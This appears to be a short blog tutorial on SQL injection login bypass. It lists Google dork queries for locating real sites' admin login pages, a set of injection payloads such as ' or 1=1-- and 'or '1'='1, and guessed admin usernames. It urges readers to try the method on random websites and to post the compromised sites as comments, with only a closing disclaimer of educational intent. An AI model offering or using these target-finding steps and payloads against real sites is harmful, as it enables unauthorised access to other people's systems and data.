simple sql injection

Simple SQL Injection occurs when we try to penetrate security through false login and password.
This happens because of mainly inefficient code.

Try with your self.


1) Search in Google
"inurl:admin.asp"
"inurl:login/admin.asp"
"inurl:admin/login.asp"
"inurl:adminlogin.asp"
"inurl:adminhome.asp"
"inurl:admin_login.asp"
"inurl:administratorlogin.asp"
"inurl:login/administrator.asp"
"inurl:administrator_login.asp"

2) Try some odd looking/named website.

3) Enter any dork as Username and Password
or Try User name : Admin, Administrator, admin, user123, tempadmin, admintemp etc...
and Password : dork
Dorks

' or 0=0 -- 
'or '1'='1
" or 0=0 -- 
or 0=0 -- 
' or 0=0 # 
" or 0=0 # 
or 0=0 # 
' or 'x'='x 
" or "x"="x 
') or ('x'='x 
' or 1=1-- 
" or 1=1-- 
or 1=1-- 



Some of sites penetrated
Step 1)



Step2)


There are several other websites. just search them and post here as comment.

Thanks Dhaval for suggesting & writing this article.

Please Note : We have not deform any websites with this methods,                         This tutorials are just to show how SQL injection works.Any legal action on readers of this page is not Admin of Gohired.in's responsibility.